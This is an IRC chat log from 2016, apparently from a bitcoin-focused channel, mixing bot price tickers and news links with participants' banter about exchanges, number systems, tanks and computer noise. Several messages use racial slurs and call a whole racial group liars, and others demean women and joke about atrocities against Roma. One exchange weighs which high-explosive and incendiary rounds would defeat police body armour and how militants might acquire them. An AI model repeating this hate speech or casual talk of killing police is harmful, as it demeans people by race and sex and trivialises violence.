Garment Manufacturing Jobs To Machines - http://qntra.net/2016/05/asia-losing-garment-manufacturing-jobs-to-machines/ 1473217;1464496096;BingoBoingo;$up jsgrant 1473218;1464496101;deedbot;jsgrant voiced for 30 minutes. 1473219;1464496148;jsgrant;BingoBoingo: Ty. o/ 1473220;1464496555;jsgrant;Probably going to bed soon in the meantime anyways, but will lurk regardless. 1473221;1464497239;mod6;BingoBoingo: yw 1473222;1464525114;shinohai;;;ticker --market all 1473223;1464525121;gribble;Bitstamp BTCUSD last: 518.0, vol: 9104.44678633 | BTC-E BTCUSD last: 513.8, vol: 13515.98761 | Bitfinex BTCUSD last: 526.48, vol: 61314.52630928 | CampBX BTCUSD last: 455.0, vol: 5.06387992 | BTCChina BTCUSD last: 575.058909, vol: 96175.56950000 | Kraken BTCUSD last: 520.003, vol: 4318.84428095 | Bitcoin-Central BTCUSD last: 500.15277, vol: 119.36286986 | Volume-weighted last average: (1 more message) 1473224;1464525126;shinohai;;;more 1473225;1464525126;gribble;550.278145383 1473226;1464525948;BingoBoingo;This Split between Chinese exchanges and not Chinese is rather persistent. Far more than that $20 premium people bitched about for months. 1473227;1464526456;shinohai;^ holy shit look at BTCC 1473228;1464526585;BingoBoingo;Other Chicom exchanges similar 1473229;1464527312;*;shinohai almost wishes he had a @nigge.rs hostmask 1473230;1464531548;mircea_popescu;asciilifeform thinking about it, it occurs to me that locklin's maudlin piece about reals is exactly typical of him and his "i am not intelligent, nor creative, but here's a bunch of hood ornaments i stole from other people's cars so you may think me intelligent and creative if you've never seen a car before" stance. 1473231;1464531602;mircea_popescu;what an actually intelligent, creative person would have said would have been that the sad, sad excursion in reals on mid-early machines was an utter disaster, the scars of which we may only hope one day to outlive ; that the move away from that stupidity and to purely int machines and appliations is the heart of sensibility, 1473232;1464531671;mircea_popescu;and that finally there is absolutely no reason to implement arbitrary division in the machine, nor does such idiocy exist in nature ; that the correct machine representation of numbers is FRACTIONS not fucking "decimals", and that computers that natively support bignum up to the size of memory and execute gcd in hardware aren't either particularly hard to make nor their absence to date excusable. 1473233;1464531720;mircea_popescu;but pi is not motherfucking "3.141592...". pi is 355/113, or whatever the fuck polygon you decide to use. 1473234;1464531740;mircea_popescu;because that's what pi IS. you understand this, IS! IS! 1473235;1464531743;mircea_popescu;this shit fucking matters. 1473236;1464532380;mircea_popescu;http://btcbase.org/log/2016-05-28#1473191 << as the dwarf aptly observed in baldur's gate, "DEATH COMES FOR YOU ALL!" 1473237;1464532380;a111;Logged on 2016-05-28 17:12 phf: pre-split btcbase log's purpose was analytical, where's now i spend my time on ux and ops issues. juxtaposition of kakobrekla doing low key malicious shit and asciilifeform trying to search cyrillic prompted that line 1473238;1464532483;mircea_popescu;http://btcbase.org/log/2016-05-28#1473195 << oh i'm so fucking surprised.... you mean the nigger lied ? like... every nigger EVER ? hurr. 1473239;1464532483;a111;Logged on 2016-05-28 19:51 deedbot: [Qntra] Finnish Prime Minister Breaks Promise To Personally House Refugees - http://qntra.net/2016/05/finnish-prime-minister-breaks-promise-to-personally-house-refugees/ 1473240;1464532686;mircea_popescu;http://btcbase.org/log/2016-05-28#1473193 << she looks remarkably fuckable to be that. you have any idea how few millenial females actually have a waistline irl ? 1473241;1464532686;a111;Logged on 2016-05-28 17:18 ben_vulpes: https://www.instagram.com/p/BF9VlB2oVeh/?taken-by=natgeo << millenials, we are very poor and work shitty jobs, but we don't care so long as we can hula hoop by a lake and smoke pot 1473242;1464532851;mircea_popescu;http://btcbase.org/log/2016-05-28#1473188 <<< first discussed in this very forum!!1 1473243;1464532851;a111;Logged on 2016-05-28 16:51 shinohai: http://dailycaller.com/2016/05/27/cuckold-your-husband-the-raw-marriage-deal-for-men/ 1473244;1464532891;shinohai;ikr :) 1473245;1464532898;mircea_popescu;gotta love the logic, "can't get dudes to marry, so the solution is to make the few that do even more burdened." isn't this exactly opposite oif the usual socialist "share everything into the ground" mantra ? 1473246;1464532943;mircea_popescu;how is this stance different from "the nazi military police can't find as many gypos as they used to, so therefore flaying alive of gypsies for fun should be regarded as aperfectly normal passtime, and in no sense wrong, even if it was rare before" 1473247;1464532951;mircea_popescu;sure dudes, whatever the machine gun says! 1473248;1464532952;mircea_popescu;hurr. 1473249;1464533037;mircea_popescu;how about being consistent and arguing for "remove laws from the books until the number of male prison inmates === the number of female prison inmates" and "if you can't get married, beg your girlfriends to join you! if one of you cooks, one washes, one sees after the kids and one learns to pole dance, 4 millenian shitheads may just about cover the traditional role of womanhood" 1473250;1464533235;mircea_popescu;http://btcbase.org/log/2016-05-29#1473206 << heh, kill bitbet, get 25% price hike. 1473251;1464533235;a111;Logged on 2016-05-29 01:09 deedbot: [Qntra] US dollar Falls Against Bitcoin In Move By Chinese Trading - http://qntra.net/2016/05/us-dollar-falls-against-bitcoin-in-move-by-chinese-trading/ 1473252;1464533253;mircea_popescu;let this be a lesson to all kids watching at home : don't follow your fucking dreams. your dreams are shit. follow your principles. just as long as they're correct, you can't lose. 1473253;1464533367;mircea_popescu;dawg is bb on a roll or what. 1473254;1464534239;mircea_popescu;hey ben_vulpes can has links to home and to raw right under the wotpaste header ? like dpaste does it ? 1473255;1464536106;danielpbarron;;;calc -i*log(-1) 1473256;1464536106;gribble;3.14159265359 1473257;1464538336;mircea_popescu;heh. 1473258;1464538463;asciilifeform;http://btcbase.org/log/2016-05-29#1473246 << from other end it makes sense though - the chix willing to even occasionally fuck the defective bloke are scarce resource and shared 1473259;1464538463;a111;Logged on 2016-05-29 14:42 mircea_popescu: how is this stance different from "the nazi military police can't find as many gypos as they used to, so therefore flaying alive of gypsies for fun should be regarded as aperfectly normal passtime, and in no sense wrong, even if it was rare before" 1473260;1464538522;asciilifeform;http://btcbase.org/log/2016-05-29#1473249 << likewise here - 'one bloke learns to fix household appliances; other - cunning linguist; third - makes decent wage; fourth - ???' share! 1473261;1464538522;a111;Logged on 2016-05-29 14:43 mircea_popescu: how about being consistent and arguing for "remove laws from the books until the number of male prison inmates === the number of female prison inmates" and "if you can't get married, beg your girlfriends to join you! if one of you cooks, one washes, one sees after the kids and one learns to pole dance, 4 millenian shitheads may just about cover the traditional role of womanhood" 1473262;1464538599;asciilifeform;http://btcbase.org/log/2016-05-29#1473240 << whatcha smoking, every chick outside of BingoBoingo's kunstkammer has waistline 1473263;1464538599;a111;Logged on 2016-05-29 14:38 mircea_popescu: http://btcbase.org/log/2016-05-28#1473193 << she looks remarkably fuckable to be that. you have any idea how few millenial females actually have a waistline irl ? 1473264;1464538665;asciilifeform;http://btcbase.org/log/2016-05-29#1473232 << lispm. 1473265;1464538665;a111;Logged on 2016-05-29 14:21 mircea_popescu: and that finally there is absolutely no reason to implement arbitrary division in the machine, nor does such idiocy exist in nature ; that the correct machine representation of numbers is FRACTIONS not fucking "decimals", and that computers that natively support bignum up to the size of memory and execute gcd in hardware aren't either particularly hard to make nor their absence to date excusable. 1473266;1464538687;asciilifeform;unfortunately this was not practical for 1950s hbomb model and hence we have floatingpoint crapola. 1473267;1464538719;asciilifeform;but yes, exposing native machine fixints to operator is lunacy. 1473268;1464538739;asciilifeform;their only purpose ought to have been setting address bus for mem access. 1473269;1464540763;mircea_popescu;asciilifeform orly ? do this experiment. "has wasitline" is defined as " waistline < (tits + hips) / 3". pick up a tape and measure! 1473270;1464540799;mircea_popescu;i suppose alternatively it could be "waistline in human females goes from 22 to 24 inches", if you want an absolute value. the problem is it'll admit all sorts of nags + most children. this is a debatable stance. 1473271;1464541320;mircea_popescu;o btw alf you ever saw http://trilema.com/2011/biroul/ ? 1473272;1464541727;mircea_popescu;BingoBoingo i can't quite make sense of that lafond piece. do you get what the man's trying to say ? 1473273;1464541872;mircea_popescu;anyway, "the legion estranger" would be pretty lulzy if only it were intentional. 1473274;1464541882;shinohai;Anyone with a twitter care to reach out to Victoria Van Eck for me? SHe still has me blocked lol. 1473275;1464541911;*;shinohai wants to find out if she is still affiliated with ChangeTip 1473276;1464541917;mircea_popescu;(in the rest of the world, it's legion etrangere, because legion is feminine in french and because s tends to drop, it's a complicated dicussion.) 1473277;1464543915;ben_vulpes;mircea_popescu: yeah, haven't forgotten 1473278;1464543934;mircea_popescu;ah i said already ? i forgot lol 1473279;1464544017;ben_vulpes;http://btcbase.org/log/2016-04-30#1459609 1473280;1464544017;a111;Logged on 2016-04-30 01:55 ben_vulpes: i'll probably be even less communicative than i've been for the next month or two 1473281;1464544033;ben_vulpes;but yeah it's a trivial change i shoulda had it out 1473282;1464544043;ben_vulpes;unrelatedly https://github.com/tmux/tmux/issues/428 1473283;1464544252;mircea_popescu;"Because I don't want to change how processes daemonize in general, just a few specific processes: tmux, screen, x2go was also mentioned." 1473284;1464544297;mircea_popescu;and we hit paydirt. who the fuck is keszybz and who is the irresponsible asshole that lied to him to the degree of making him think he has any business touching computers! 1473285;1464544313;mircea_popescu;go back to fucking third grade, dumbass. 1473286;1464548164;ben_vulpes;http://66.media.tumblr.com/tumblr_mcxa9qn9C81qew7pjo1_540.jpg 1473287;1464548782;mircea_popescu;whossat ? 1473288;1464549181;deedbot;[Trilema] The Disease - http://trilema.com/2016/the-disease/ 1473289;1464549789;mircea_popescu;$google halothane pig farms 1473290;1464549795;deedbot;https://en.wikipedia.org/wiki/Malignant_hyperthermia << Malignant hyperthermia - Wikipedia, the free encyclopedia | http://www.ncbi.nlm.nih.gov/pubmed/22061008 << A comparison of halothane homozygous negative and positive ... | http://www.thepigsite.com/diseaseinfo/89/porcine-stress-syndrome-pss << Porcine Stress Syndrome (PSS) - The Pig Site 1473291;1464549821;mircea_popescu;it's ever fascinating what the internet knows or doesn't know. 1473292;1464550220;asciilifeform;'Pig farmers use halothane cones in swine yards to expose piglets to halothane. Those that die were MH-susceptible, thus saving the farmer the expense of raising a pig whose meat he would not be able to market. This also reduced the use of breeding stock carrying the genes for PSS.' -- pediwikia 1473293;1464550231;asciilifeform;mircea_popescu: here you go ^^^ 1473294;1464550245;mircea_popescu;yeah. in the process doing what agriculture is all about - improvement by selection. 1473295;1464550256;asciilifeform;aha, big whoop 1473296;1464550265;asciilifeform;what is the surprise here ? 1473297;1464550272;mircea_popescu;anyway, it seemed to me the sort of obscure-but-very-interesting item that i've by now grown accustomed to the web NOT knowing. 1473298;1464550306;asciilifeform;academics beat the hyperthermia thing to death though 1473299;1464550315;asciilifeform;it is excruciatingly well documented 1473300;1464550325;mircea_popescu;i guess it is yeah. 1473301;1464550340;asciilifeform;hang out with moar ex-labmonkeyz 1473302;1464550347;mircea_popescu;anyway, i've yet to hear one of the "animal rights" derps mention it on its own power. 1473303;1464550391;asciilifeform;btw, pet asks first thing when i come back from chicago : 'didja see the stockyards!? where they use the squeal.' 1473304;1464550400;mircea_popescu;lol. 1473305;1464550549;shinohai;http://www.ctvnews.ca/lifestyle/students-seeking-sugar-daddies-for-tuition-rent-1.2922096 <<< An American tale of whoring my way through Uni 1473306;1464550605;jurov;https://imgur.com/JqchodR #atruechurch 1473307;1464550724;asciilifeform;from same rag: http://www.ctvnews.ca/world/gunman-at-least-one-other-person-dead-in-houston-shooting-police-1.2922152 1473308;1464550853;mircea_popescu;shinohai the only weird part being that they'd take a guy's money TO GIVE IT TO THE SCAM! 1473309;1464550856;mircea_popescu;fucking crazy. 1473310;1464550874;mircea_popescu;imagine, usg.mit actually has derpy 20something chicks so fucking insane, they run out to whore for it. FOR IT! 1473311;1464550942;mircea_popescu;(noteworthy that the schmucks have the audacity to "such sites" "a site" etc. fucking link, bitches.) 1473312;1464550961;asciilifeform;and here i thought the whole fucking point of the college to office butugychag pipeline was to avoid streetwalking 1473313;1464551006;shinohai;I couldn't agree more. What's a degree gonna get you? You'll be a straight-up prostitute anyway in a few years or less so go ahead and embrace it. 1473314;1464551012;mircea_popescu;check out all the cute black wagons teh police has now. i wonder if there's a minuature collection anywhere for kids to play with. 1473315;1464551038;asciilifeform;mircea_popescu: every, even the piss-poorest us police precinct has them 1473316;1464551046;asciilifeform;usg handed out for phree 1473317;1464551057;mircea_popescu;jurov lol that dude, "a house about to be launched" ? 1473318;1464551059;asciilifeform;$s police show 1473319;1464551059;a111;15 results for "police show", http://btcbase.org/log-search?q=police%20show 1473320;1464551096;shinohai;https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcTIJK_mjHhPHzGg7xTcVBm9V_qO30rbHe9xJJROpijs2w9u57cg1Q 1473321;1464551096;asciilifeform;http://btcbase.org/log/2014-10-05#859183 <<<< 1473322;1464551096;a111;Logged on 2014-10-05 03:25 asciilifeform: http://imgur.com/R4EbgZN 1473323;1464551602;asciilifeform;'swat' originally referred to 'special weapons' but is also a very pointed double entendre , 'swat, like fly' - which is all that the lone unorganized malcontent with pea shooter is. insect, effortlessly crushed by gestapo. 1473324;1464551739;shinohai;I remember having a chuckle this Halloween past, a few stores had child size swat outfits to dress kids in. 1473325;1464551785;asciilifeform;hitlerjugend. 1473326;1464551888;asciilifeform;on the other end of thing, police firing ranges now have child-shaped targets. someone found that most n00bs hesitate when shooting children and this obviously will not do! 1473327;1464552017;mircea_popescu;asciilifeform needs be reminded of http://trilema.com/2015/strategy-for-the-antisocial-struggle/ 1473328;1464552024;asciilifeform;aha. 1473329;1464552041;asciilifeform;swat was the usg answer to ^ 1473330;1464552064;mircea_popescu;well no, swat was mostly the source of bodyes for bags there. 1473331;1464552083;mircea_popescu;iirc it was 2/3 of the coupla dozen dead. 1473332;1464552089;asciilifeform;why would usg care how many bystanders are bagged? 1473333;1464552098;mircea_popescu;we're not discussing bystanders. 1473334;1464552124;asciilifeform;modern cops have proper armour. 1473335;1464552142;mircea_popescu;"proper armour" is like "battleworthy aircraft carrier". 1473336;1464552182;asciilifeform;mircea_popescu himself linked to perfectly usable coats hat stand up to 7.62 fmj. 1473337;1464552203;mircea_popescu;so you don't fire 7.62 fmj. you fire he/incendiary. 1473338;1464552217;asciilifeform;what to shoot them with? crew-served aa gun ? 1473339;1464552222;mircea_popescu;yes. 1473340;1464552230;asciilifeform;ahahahahaha sure. 1473341;1464552258;mircea_popescu;it omes in .5 caliber you know. 1473342;1464552261;asciilifeform;why not with hbomb while yer at it. 1473343;1464552310;mircea_popescu;there's a reason we like the de. get a decent tungsten/zirconium powder mix, glwa. 1473344;1464552405;asciilifeform;wake me up when mircea_popescu is airdropping these goodies to supply partizans in usa. 1473345;1464552416;mircea_popescu;will even fire out of a fucking m2 browning, possibly the world's most abundant machine gun. 1473346;1464552426;mircea_popescu;5mn made or what 1473347;1464552439;asciilifeform;yeah but most left at vedun or near 1473348;1464552442;asciilifeform;verdun 1473349;1464552465;asciilifeform;and midway, etc 1473350;1464552469;mircea_popescu;right, you can have it lighter today. 1473351;1464552475;asciilifeform;not so many appeared even in vietnam 1473352;1464552482;mircea_popescu;iirc gd still makes them. 1473353;1464552490;asciilifeform;you can have, in principle, many things. 1473354;1464552553;asciilifeform;fact remains, usa malcontents are armed largely with 'trayvonators' and similar toys. 1473355;1464552577;asciilifeform;shit you wouldn't shoot a cow with. 1473356;1464552605;mircea_popescu;still, stuff like the raufoss mk211 is the exact pill for "oh, we're armored". orly ? well done, so the round won't blow clear through you! enjoy zirconium fire in your spleen! 1473357;1464552628;mircea_popescu;or more generally : there is no stable solution in war. 1473358;1464552739;asciilifeform;there is stable solution in pig-farmin' tho. 1473359;1464552777;mircea_popescu;not even. pretty much all "stable solution" talk reduces to george costanza's "do you realise toilet paper has never changed" talk. 1473360;1464552827;mircea_popescu;(notably, all civilised countries consider said he/incendiary round not suitable for anti-personnel applications. except the us, of course, here as everywhere else the epitome of the rogue state.) 1473361;1464552835;asciilifeform;so where is mr. postal supposed to get his he autokanone rounds ? 1473362;1464552858;mircea_popescu;same place he gets his super duper special grass pills or w/e ? 1473363;1464552867;asciilifeform;it isn't as if they are to be found even on dead cop 1473364;1464552888;asciilifeform;grass grows in his cellar 1473365;1464552889;mircea_popescu;isis have tons, taken in "battle" from cowardly us mercs. 1473366;1464552898;mircea_popescu;most of it available for sale. 1473367;1464552934;asciilifeform;mircea_popescu: it is not smuggled into north america at scale. 1473368;1464552941;asciilifeform;unlike dope. 1473369;1464552953;mircea_popescu;for lack of demand, only. opium, the other thing isis has tons of, is. 1473370;1464552964;asciilifeform;for lack of with what to pay. 1473371;1464552971;asciilifeform;recall thread? 1473372;1464552980;mircea_popescu;im sure they'd take bitcoin. 1473373;1464552988;asciilifeform;lolk. 1473374;1464552993;asciilifeform;wake me up. 1473375;1464553016;asciilifeform;when 'they' even exist! 1473376;1464553022;asciilifeform;that is, have pgp key. 1473377;1464553039;asciilifeform;until then, == idiot monkeys 1473378;1464553057;mircea_popescu;myeah. but in other lulz, anyone ever saw the RARDEN (ie, Royal Armament Research and Development blabla) ? 1473379;1464553098;mircea_popescu;these people came up with the brilliant idea of mounting an autocannon in lieu of a proper cannon on a tank chassis. which is dumb enough ; but... instead of a belt feed, they came with the even briliant-er idea of having it manually loaded, with 3 round clips. 1473380;1464553105;mircea_popescu;this is a tracked autocannon with a 6 round burst! 1473381;1464553127;asciilifeform;brrrp. 1473382;1464553153;mircea_popescu;now THAT = idiot monkeys. 1473383;1464553165;mircea_popescu;"all we really wanna do is bring matilda back hurr durr" 1473384;1464553257;mircea_popescu;(that thing always made me think of a briton's penis size, incidentally. just about right. https://upload.wikimedia.org/wikipedia/commons/thumb/c/c9/IWM-KID-68-Matilda.jpg/300px-IWM-KID-68-Matilda.jpg ) 1473385;1464553316;asciilifeform;lol wtf is that 1473386;1464553320;asciilifeform;mortar ? 1473387;1464553323;mircea_popescu;the brit's idea of a tank. 1473388;1464553333;mircea_popescu;honestly, it looks more like a water hose. 1473389;1464553338;asciilifeform;~why??~ 1473390;1464553345;mircea_popescu;because idiot monkeys. 1473391;1464553374;asciilifeform;iirc they had normal tankz 1473392;1464553539;mircea_popescu;nope ; never did. 1473393;1464553578;mircea_popescu;as late as 1944 anglos were not producing usable tanks. the us versions were midly miserable, the british versions were at best laughable. 1473394;1464553580;asciilifeform;'crocodile' was interesting machine 1473395;1464553592;mircea_popescu;as crude as they were, the russian couple were much better 1473396;1464553595;mircea_popescu;even the kv 1473397;1464553650;asciilifeform;'прощай кв братишка наш!' (tm) (r) 1473398;1464553659;mircea_popescu;actually history of british "engineering" of tanks in ww2 is good subject matter for its own chapter in "history of human idiocy". 1473399;1464553667;*;asciilifeform sings... 1473400;1464553677;mircea_popescu;"they came up with the idea of having the access hatch block the gun turret!" 1473401;1464553736;mircea_popescu;asciilifeform ze germanz hated the russian tanks and despised the anglo tanks (sherman included). there IS a difference. 1473402;1464553768;asciilifeform;sure. 1473403;1464553816;mircea_popescu;(though honestly it - esp the m4 - looked to me more like a hastily copied t-34 than anything) 1473404;1464553860;asciilifeform;the real magic of 34 was in the ~production~ 1473405;1464553869;mircea_popescu;of m4 also. not to the degree. 1473406;1464553879;asciilifeform;which ~nobody had any chance of copying. 1473407;1464554593;mircea_popescu;asciilifeform btw, you ever read von mellenthin's study in russian soldierly psychology (and other things) ? 1473408;1464554962;ben_vulpes;https://prestonbyrne.com/2016/05/29/thedao-as-it-unfolds/ 1473409;1464555045;mircea_popescu;which one was this again ? 1473410;1464555094;mircea_popescu;oh oh, right, right, the vc wunderwaffen. 1473411;1464555146;mircea_popescu;gotta love this inept shit, "stupid idea is broken in many ways, most of them unfixable for good reasons - we'll consider here an irrelevant subset, that could be fixed." 1473412;1464555182;mircea_popescu;somehow the realisation that "proposing a subset could exist IS ALREADY PREDICATING you can fix things you can't actually fix, so you're begging the question something massive". 1473413;1464555754;shinohai;Polished turd is still a turd. 1473414;1464556116;asciilifeform;http://btcbase.org/log/2016-05-29#1473407 << nope 1473415;1464556116;a111;Logged on 2016-05-29 20:43 mircea_popescu: asciilifeform btw, you ever read von mellenthin's study in russian soldierly psychology (and other things) ? 1473416;1464556674;BingoBoingo; BingoBoingo i can't quite make sense of that lafond piece. do you get what the man's trying to say ? << Don't know that it somes to anything beyond him almost getting to somewhere 1473417;1464557131;asciilifeform;aaaaaaaah finally got rid of the last spinning rust thing 1473418;1464557133;asciilifeform;in my house. 1473419;1464557385;ben_vulpes;where's the noise coming from now? 1473420;1464557391;asciilifeform;fans 1473421;1464557407;asciilifeform;(yes, the magic cost-weight-in-plutinium kakobreklan fans) 1473422;1464557413;asciilifeform;*plutonium 1473423;1464557428;asciilifeform;and yes, them. moving air is audible. nyooz at 11. 1473424;1464557486;asciilifeform;$2.5k of less-noise-tronics and subjective result == 0. 1473425;1464557528;asciilifeform;i even put a kakobreklan fan in the giant ups. 1473426;1464557547;asciilifeform;(which has terrible acoustics and is answerable for perhaps half the noise in the room) 1473427;1464557581;asciilifeform;i dun think i will ever be rid of the eternal hiss. 1473428;1464557954;shinohai;White noise is useful for the masking of sensitive conversations! 1473429;1464558043;jurov;or masking of farts 1473430;1464558072;shinohai;^ 1473431;1464558100;mircea_popescu;someone needs to take alf to heavy metal concerts back when he's 16 1473432;1464558108;mircea_popescu;many problems in adult life come from bad childhood. 1473433;1464558129;BingoBoingo; so where is mr. postal supposed to get his he autokanone rounds ? << cheaperthandirt.com 1473434;1464558492;asciilifeform;BingoBoingo: http://btcbase.org/log/2016-05-29#1473433 << link ?? 1473435;1464558492;a111;Logged on 2016-05-29 21:42 BingoBoingo: so where is mr. postal supposed to get his he autokanone rounds ? << cheaperthandirt.com 1473436;1464558514;asciilifeform;they sell the usual usa street-legal pea shooter crud 1473437;1464558527;asciilifeform;~everybody here shops there. 1473438;1464558547;BingoBoingo;asciilifeform: literally that is the url. May or may not have, but gets interesting USG surplus from time to time. Gott get it when they have it before it sells out. 1473439;1464558571;asciilifeform;HE - nope 1473440;1464558591;asciilifeform;i'll eat my hat if you show me HE rounds in there. 1473441;1464558610;BingoBoingo;Oh you wanted HE, I thought you wanted incendiary 1473442;1464558612;asciilifeform;proper ones, not dummies 1473443;1464558619;asciilifeform;HE. 1473444;1464558777;asciilifeform;http://btcbase.org/log/2016-05-29#1473431 << my 'commodore-64' was 100% hiss-free. as was mircea_popescu's spectrum clone, or my brother's bk-0010 1473445;1464558777;a111;Logged on 2016-05-29 21:41 mircea_popescu: someone needs to take alf to heavy metal concerts back when he's 16 1473446;1464558791;asciilifeform;what 'progress' since !1111 1473447;1464558832;BingoBoingo;Would usually be here if they had it https://www.cheaperthandirt.com/category/ammunition/rifle/30-06-springfield.do?c=117336.117388.201430&sku_instock_b=true&sortby=priceAscend&page=all 1473448;1464558946;asciilifeform;BingoBoingo: banned in usa other than to gestapo and army 1473449;1464558978;asciilifeform;and nobody's making a 30-06 HE, wtf 1473450;1464559001;BingoBoingo;They used to occasionally have surplus .30-06 AP, incendiary, tracer, etc. Prolly Obama's fault. 1473451;1464559003;asciilifeform;you want at least a thumb-sized bullet 1473452;1464559023;BingoBoingo;And where did you say HE until a link to maybe was posted? 1473453;1464559060;asciilifeform;BingoBoingo: mircea_popescu linked to spiffy 0.5in he round in earlier thread. 1473454;1464559410;BingoBoingo;ah 1473455;1464559649;BingoBoingo;In other news, what was mircea_popescu doing last night https://stlouis.craigslist.org/mis/5610041338.html 1473456;1464559705;shinohai; "I just really need your ass with me" <<< LOLOL 1473457;1464562358;mircea_popescu;asciilifeform actually no, power unit hissed alright. 1473458;1464562407;mircea_popescu;metal unit, about 3lbs 1473459;1464562557;BingoBoingo;;;ticker --market all 1473460;1464562566;gribble;Bitstamp BTCUSD last: 512.79, vol: 8517.91331151 | BTC-E BTCUSD last: 510.001, vol: 12632.06302 | Bitfinex BTCUSD last: 525.25, vol: 84575.71076513 | CampBX BTCUSD last: 455.0, vol: 4.58595769 | BTCChina BTCUSD last: 563.907503, vol: 105964.86080000 | Kraken BTCUSD last: 519.22, vol: 2722.5313145 | Bitcoin-Central BTCUSD last: 500.175, vol: 147.16041267 | Volume-weighted last average: (1 more message) 1473461;1464562568;BingoBoingo;;;more 1473462;1464562568;gribble;542.853762921 1473463;1464562586;BingoBoingo;Dat spread! 1473464;1464562635;mircea_popescu;dat imaginary "finance" that could buy russia. 1473465;1464562775;BingoBoingo;Or convince alf to leave the swamp 1473466;1464563420;mircea_popescu;in other news, the dictator is a shitty pile of forced memes, unfunny as all hell. its only distinction being that the progress is show to benefit some derpy woman whose only qualification is that she's not shavign her armpits (but she's willing to drop that), whereas the only loser is the actual competent engineer ; and that peter norton is cast as yet-another-celebrity whose only utility, value and stock in trade is being u 1473467;1464563420;mircea_popescu;rinated upon. 1473468;1464565162;asciilifeform;$s "such spread" 1473469;1464565162;a111;4 results for "\"such spread\"", http://btcbase.org/log-search?q=%22such%20spread%22 1473470;1464565241;asciilifeform;http://btcbase.org/log/2016-05-29#1473457 << stabilizer buzz dun count!11111 1473471;1464565241;a111;Logged on 2016-05-29 22:52 mircea_popescu: asciilifeform actually no, power unit hissed alright. 1473472;1464565253;asciilifeform;it isn't a malignant ear-rotting sound like fan. 1473473;1464565296;jurov;inb4 tmsr sets out on researching fully laminar flow cooling system 1473474;1464565322;asciilifeform;jurov: fuck flow. 100kg of copper hedgehog is the ticket. 1473475;1464565408;asciilifeform;http://btcbase.org/log/2016-05-29#1473465 << dunno if you missed it BingoBoingo, but theoretically i could leave the swamp now. 1473476;1464565408;a111;Logged on 2016-05-29 22:59 BingoBoingo: Or convince alf to leave the swamp 1473477;1464565439;jurov;what about.. i don't know what is called - these accordion things ancient blacksmiths were usign to blow air? 1473478;1464565448;asciilifeform;jurov: bellows, in engl. 1473479;1464565469;asciilifeform;they aren't esp. quiet. 1473480;1464565505;jurov;idk, maybe the flapping noise would be more palatable :D 1473481;1464565509;asciilifeform;look at the design of 19th c. and prior pipe organs 1473482;1464565518;asciilifeform;the bellows room would be a long ways from the audience 1473483;1464565526;asciilifeform;whenever possible 1473484;1464565602;asciilifeform;http://c8.alamy.com/comp/DDRKNP/music-instruments-keyboard-instruments-organ-bellows-treader-woodcut-DDRKNP.jpg 1473485;1464565620;jurov;i'm sure they can be done silent with modern materials as they have no fast moving parts 1473486;1464565638;asciilifeform;slow moving parts make plenty of noise. 1473487;1464565639;asciilifeform;as does air. 1473488;1464565690;jurov;um.. and what about combining them with keyboard? 1473489;1464565703;asciilifeform;ugh 1473490;1464565714;jurov;keep typing or else!!! 1473491;1464565720;asciilifeform;http://www.douglas-self.com/MUSEUM/POWER/waterengine/waterengine6.htm << somewhat interesting re historic organ blowers 1473492;1464565925;jurov;dunno maybe it's even patentable? 1. computer cooling with leg-powered bellows 2. compuer sooling with keyboard microbellows :D :D 1473493;1464566021;deedbot;[Trilema] PTM, ie parent-teacher meeting - http://trilema.com/2016/ptm-ie-parent-teacher-meeting/ 1473494;1464566094;jurov;and actually, if every key had its own air tube, that would solve RF emanations, too :D 1473495;1464566109;asciilifeform;jurov: that last bit is in the logz. 1473496;1464566111;asciilifeform;specifically. 1473497;1464567508;mircea_popescu;asciilifeform> jurov: fuck flow. 100kg of copper hedgehog is the ticket. << with dildo attachments! 1473498;1464567568;mircea_popescu;actually keyboard microbellows not so bad an idea! put those heavy duty springs to good use! 1473499;1464568053;asciilifeform;lel 1473500;1464568103;mircea_popescu;alternatively, you could sell bean stu and converted enema kits. 1473501;1464568212;asciilifeform;ugh 1473502;1464569837;asciilifeform;;;later tell mircea_popescu http://imgur.com/a/VcBuo << highlights from my journey to the Lands That Suck Slightly Less 1473503;1464569837;gribble;The operation succeeded. 1473504;1464569846;asciilifeform;^ and anyone else who was awake for thread. 1473505;1464569886;mircea_popescu;you totally need to start running a blog and stop ugc-ing your productions away to the usg. 1473506;1464569903;asciilifeform;i give my garbage to garbage man. 1473507;1464569914;asciilifeform;blog is about things worth preserving. 1473508;1464569916;mircea_popescu;and, apparently, me ? 1473509;1464569923;asciilifeform;well it is ephemeral. 1473510;1464569928;asciilifeform;eat candy, throw away wrapper. 1473511;1464569936;mircea_popescu;so it's more like orgasms than garbage ? 1473512;1464569939;asciilifeform;aha! 1473513;1464569950;mircea_popescu;i'll check em out on your blog howaboutthat. 1473514;1464569961;asciilifeform;i dun wanna retype. 1473515;1464569966;mircea_popescu;next ones. 1473516;1464569971;asciilifeform;sure. 1473517;1464569982;asciilifeform;i'ma have to make another blog for the candy. 1473518;1464569989;asciilifeform;it dun belong on my proper one. 1473519;1464569995;mircea_popescu;doesn't seem to have hurt trilema any, but each his own. 1473520;1464570030;asciilifeform;i wonder if mircea_popescu knows what the piano was for. 1473521;1464570036;asciilifeform;nobody i've asked, seems to. 1473522;1464570050;asciilifeform;(did they use it for sound effects when stock was falling or ...?) 1473523;1464573844;BingoBoingo;;;bc,stats 1473524;1464573849;gribble;Current Blocks: 413990 | Current Difficulty: 1.99312067531243E11 | Next Difficulty At Block: 415295 | Next Difficulty In: 1305 blocks | Next Difficulty In About: 1 week, 2 days, 12 hours, 36 minutes, and 47 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1473525;1464576423;mircea_popescu;it occurs to the harem assembled in congress that there should be such a thing as "whore's dew", and it should be an after shave. 1473526;1464576430;mircea_popescu;i duly enter teh matter into the permanent record. 1473527;1464576729;BingoBoingo;This entry into the record is noted 1473528;1464576968;shinohai;"Whore's dew" sounds like an item in Eulora. 1473529;1464579350;deedbot;[Qntra] Cooling Pacific Has Potential To Further Injure Corn Belt's Fortunes This Season - http://qntra.net/2016/05/cooling-pacific-has-potential-to-further-injure-corn-belts-fortunes-this-season/ 1473530;1464581258;BingoBoingo;http://oglaf.com/annuitcoeptis/ 1473531;1464581630;mircea_popescu;lol not bad oglaf. 1473532;1464581654;mircea_popescu;didn't alfred wainwright invent nude fell walking ? 1473533;1464582488;BingoBoingo;likely 1473534;1464584643;deedbot;[Recent Phuctorings.] Phuctored: 1053324101 divides RSA Moduli belonging to 'Niel Ambroz ; ' - 